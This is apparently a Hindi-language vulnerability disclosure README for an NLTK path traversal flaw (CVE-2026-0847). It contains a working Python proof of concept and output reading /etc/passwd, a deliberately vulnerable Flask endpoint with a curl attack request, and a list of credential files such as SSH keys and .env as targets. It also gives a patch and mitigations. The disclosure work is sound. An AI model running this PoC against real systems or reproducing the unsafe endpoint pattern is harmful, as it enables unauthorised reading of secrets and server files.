
NLTK के संस्करणों में 3.9.2 तक और 3.9.2 सहित एक भेद्यता, पथ ट्रैवर्सल के माध्यम से कई CorpusReader वर्गों में मनमानी फ़ाइल पढ़ने की अनुमति देती है, जिनमें WordListCorpusReader, TaggedCorpusReader और BracketParseCorpusReader शामिल हैं।
| फ़ील्ड | विवरण |
|---|---|
| CVE ID | CVE-2026-0847 |
| पैकेज | nltk (Natural Language Toolkit) |
| रजिस्ट्री | PyPI |
| प्रभावित संस्करण | <= 3.9.2 |
| भेद्यता प्रकार | CWE-22: पाथ ट्रैवर्सल |
| CVSS स्कोर | 8.6 (उच्च) |
| आक्रमण वेक्टर | नेटवर्क |
| आक्रमण जटिलता | निम्न |
| आवश्यक विशेषाधिकार | कोई नहीं |
| उपयोगकर्ता इंटरैक्शन | कोई नहीं |
| गोपनीयता प्रभाव | उच्च |
| अखंडता प्रभाव | निम्न |
| उपलब्धता प्रभाव | निम्न |
| रिपोर्ट तिथि | December 4, 2025 |
| CVE प्रकाशित | March 4, 2026 |
| समर्थनकर्ता | Palo Alto Networks / Prisma AIRS |
| स्थिति | ठीक किया गया |
NLTK लाइब्रेरी में कई CorpusReader क्लासें बिना किसी पाथ कैननिकलाइज़ेशन, अनुमत-सूची सत्यापन, या सैंडबॉक्स प्रतिबंधों को लागू किए फ़ाइल पाथ तर्क स्वीकार करती हैं। जब कोई आक्रमणकर्ता कॉर्पस फ़ाइलनाम या फ़ाइल इनपुट को नियंत्रित करता है — जो मशीन लर्निंग APIs, अपलोड-आधारित NLP पाइपलाइनों और चैटबॉट सेवाओं में एक सामान्य परिदृश्य है — तो वे निर्देशिका पदानुक्रम को ट्रैवर्स करने और सर्वर पर मनमानी फ़ाइलें पढ़ने के लिए एक क्राफ्टेड पाथ प्रदान कर सकते हैं।
यह भेद्यता विशेष रूप से नेटवर्कयुक्त परिनियोजनों में गंभीर है जहाँ NLTK उपयोगकर्ता-नियंत्रित फ़ाइल पाथ को संसाधित करता है, क्योंकि इसका दोहन करने के लिए कोई प्रमाणीकरण या विशेषाधिकार आवश्यक नहीं है।
ये तीनों क्लासें एक ही असुरक्षित CorpusReader.open() विधि को इनहेरिट करती हैं, जो प्रदान किए गए फ़ाइल पहचानकर्ता को हल करने और पढ़ने से पहले कोई पाथ प्रतिबंध नहीं लगाती है।
इस भेद्यता के सफल दोहन के परिणामस्वरूप निम्नलिखित हो सकता है:
/etc/passwd, /etc/shadow, और /var/log/auth.log शामिल हैं~/.ssh/id_rsa), .env फ़ाइलें, API टोकन और क्लाउड क्रेडेंशियल फ़ाइलें निकाली जा सकती हैंयह जानकारी केवल शैक्षिक और रक्षात्मक उद्देश्यों के लिए प्रदान की गई है। उन सिस्टमों पर परीक्षण न करें जिनके स्वामी आप नहीं हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट प्राधिकरण नहीं है।
# PoC.py — demonstrates arbitrary file read using three vulnerable CorpusReader classes
from nltk.corpus.reader import WordListCorpusReader, TaggedCorpusReader, BracketParseCorpusReader
from nltk.corpus.reader.util import FileSystemPathPointer
root = FileSystemPathPointer("/") # unrestricted filesystem root
target = "etc/passwd" # any sensitive file path
print("--- WordListCorpusReader ---")
reader1 = WordListCorpusReader(root, [target])
print(reader1.raw(target)[:200])
print("--- TaggedCorpusReader ---")
reader2 = TaggedCorpusReader(root, [target])
print(reader2.raw(target)[:200])
print("--- BracketParseCorpusReader ---")
reader3 = BracketParseCorpusReader(root, [target])
print(reader3.raw(target)[:200])
आउटपुट (संक्षिप्त):
--- WordListCorpusReader ---
root:x:0:0:root:/root:/usr/bin/zsh
--- TaggedCorpusReader ---
root:x:0:0:root:/root:/usr/bin/zsh
--- BracketParseCorpusReader ---
root:x:0:0:root:/root:/usr/bin/zsh
एक यथार्थवादी परिदृश्य जहाँ NLTK एक HTTP API के माध्यम से उजागर होता है:
# Vulnerable API server
from flask import Flask, request
from nltk.corpus.reader import WordListCorpusReader
from nltk.corpus.reader.util import FileSystemPathPointer
app = Flask(__name__)
root = FileSystemPathPointer("/")
@app.post("/read")
def read_file():
filename = request.json.get("file")
reader = WordListCorpusReader(root, [filename])
return reader.raw(filename)
app.run("0.0.0.0", 8000)
आक्रमणकर्ता अनुरोध:
curl -X POST http://TARGET:8000/read \
-H "Content-Type: application/json" \
-d '{"file": "etc/passwd"}'
परिणाम: /etc/passwd की पूरी सामग्री बिना किसी प्रमाणीकरण के आक्रमणकर्ता को लौटा दी जाती है।
यह भेद्यता CorpusReader.open() में उत्पन्न होती है। यह विधि प्रदान किए गए fileid को FileSystemPathPointer.join() का उपयोग करके कॉन्फ़िगर किए गए रूट पाथ के विरुद्ध सीधे हल करती है, बिना निम्नलिखित में से कोई भी जाँच किए:
..) का पता लगानाचूँकि FileSystemPathPointer को / के साथ आरंभ किया जा सकता है, इसलिए फ़ाइलनाम तर्क को नियंत्रित करने वाले आक्रमणकर्ता के पास पूरे फ़ाइल सिस्टम तक अप्रतिबंधित पढ़ने की पहुँच होती है।
शोधकर्ता द्वारा प्रस्तावित न्यूनतम सुधार, जिसे CorpusReader.open() के अंदर लागू किया जाना है:
import os
normalized = fileid.replace("\\", "/")
# Block absolute paths
if os.path.isabs(normalized):
raise ValueError("Absolute paths are not permitted.")
# Block directory traversal sequences
if ".." in normalized.split("/"):
raise ValueError("Path traversal sequences are not permitted.")
# Enforce confinement within corpus root
joined = self._root.join(normalized)
if not os.path.normpath(joined._path).startswith(
os.path.normpath(self._root._path)
):
raise ValueError("Path escapes the corpus root directory.")
अपस्ट्रीम फिक्स PR यहाँ उपलब्ध है: https://github.com/nltk/nltk/pull/3479
pip के माध्यम से अपग्रेड करें:
pip install --upgrade nltk
स्थापित संस्करण सत्यापित करें:
python -c "import nltk; print(nltk.__version__)"
यह रिपॉज़िटरी CVE-2026-0847 को विशेष रूप से शैक्षिक, शोध और रक्षात्मक सुरक्षा उद्देश्यों के लिए प्रलेखित करती है। प्रूफ-ऑफ-कॉन्सेप्ट कोड और तकनीकी विवरण डेवलपर्स, सुरक्षा इंजीनियरों और सिस्टम प्रशासकों को इस भेद्यता को समझने, मूल्यांकन करने और ठीक करने में सहायता करने के लिए प्रदान किए गए हैं।
स्पष्ट प्राधिकरण के बिना सिस्टमों तक पहुँचने के लिए इस जानकारी का कोई भी उपयोग अवैध और अनैतिक है। लेखक यहाँ निहित जानकारी के दुरुपयोग के लिए कोई दायित्व नहीं मानता है।
योगदानकर्ता @mohitf070304
| क्लास | फ़ाइल | स्थिति |
|---|
WordListCorpusReader | wordlist.py L1–L120 | असुरक्षित |
TaggedCorpusReader | tagged.py L1–L140 | असुरक्षित |
BracketParseCorpusReader | bracket_parse.py L1–L150 | असुरक्षित |
| समान आधार पैटर्न का उपयोग करने वाली अन्य क्लासें | — | व्यापक ऑडिट लंबित |
| कार्रवाई | विवरण |
|---|
| NLTK अपग्रेड करें | आधिकारिक पैच जारी होने के बाद 3.9.2 से अधिक संस्करण में अपडेट करें |
| इनपुट सत्यापन | किसी भी NLTK CorpusReader क्लास में पास करने से पहले सभी उपयोगकर्ता-आपूर्ति फ़ाइल पाथ मानों को सैनिटाइज़ और मान्य करें |
| उपयोगकर्ता-नियंत्रित पाथ से बचें | उपयोगकर्ता इनपुट को किसी भी CorpusReader के fileids तर्क को प्रत्यक्ष या अप्रत्यक्ष रूप से नियंत्रित न करने दें |
| न्यूनतम विशेषाधिकार | NLTK-आधारित सेवाओं को एक प्रतिबंधित OS उपयोगकर्ता खाते के अंतर्गत चलाएँ, जिसमें पढ़ने की पहुँच केवल कॉर्पस निर्देशिका तक सीमित हो |
| कंटेनरीकरण | सफल ट्रैवर्सल के विस्फोट दायरे (blast radius) को सीमित करने के लिए सेवा को Docker कंटेनर या chroot जेल में अलग करें |
| Ubuntu पैच | वितरण-स्तरीय पैकेज अपडेट के लिए Ubuntu सुरक्षा सलाहकार की निगरानी करें |
| तिथि | घटना |
|---|
| December 4, 2025 | भेद्यता शोधकर्ता hyperps1 द्वारा huntr.dev को रिपोर्ट की गई |
| December 2025 | NLTK अनुरक्षक टीम को huntr.dev के माध्यम से सूचित किया गया |
| January 2026 | NLTK अनुरक्षक ने भेद्यता को मान्य किया; शोधकर्ता को प्रकटीकरण इनाम (disclosure bounty) प्रदान किया गया |
| January 2026 | CVE-2026-0847 निर्धारित किया गया |
| February 2026 | NLTK अनुरक्षकों को 48-घंटे की प्रकाशन-पूर्व चेतावनी भेजी गई |
| March 4, 2026 | CVE को NVD और huntr.dev पर प्रकाशित किया गया |
| March 5, 2026 | NVD रिकॉर्ड अंतिम बार संशोधित |
| संसाधन | लिंक |
|---|
| NVD प्रविष्टि | https://nvd.nist.gov/vuln/detail/CVE-2026-0847 |
| Ubuntu सुरक्षा सलाहकार | https://ubuntu.com/security/CVE-2026-0847 |
| आधिकारिक CVE रिकॉर्ड | https://cve.org/CVERecord?id=CVE-2026-0847 |
| huntr.dev रिपोर्ट | https://huntr.dev |
| फिक्स पुल रिक्वेस्ट | https://github.com/nltk/nltk/pull/3479 |
| PyPI पर NLTK | https://pypi.org/project/nltk/ |
| OWASP पाथ ट्रैवर्सल | https://owasp.org/www-community/attacks/Path_Traversal |
| CWE-22 | https://cwe.mitre.org/data/definitions/22.html |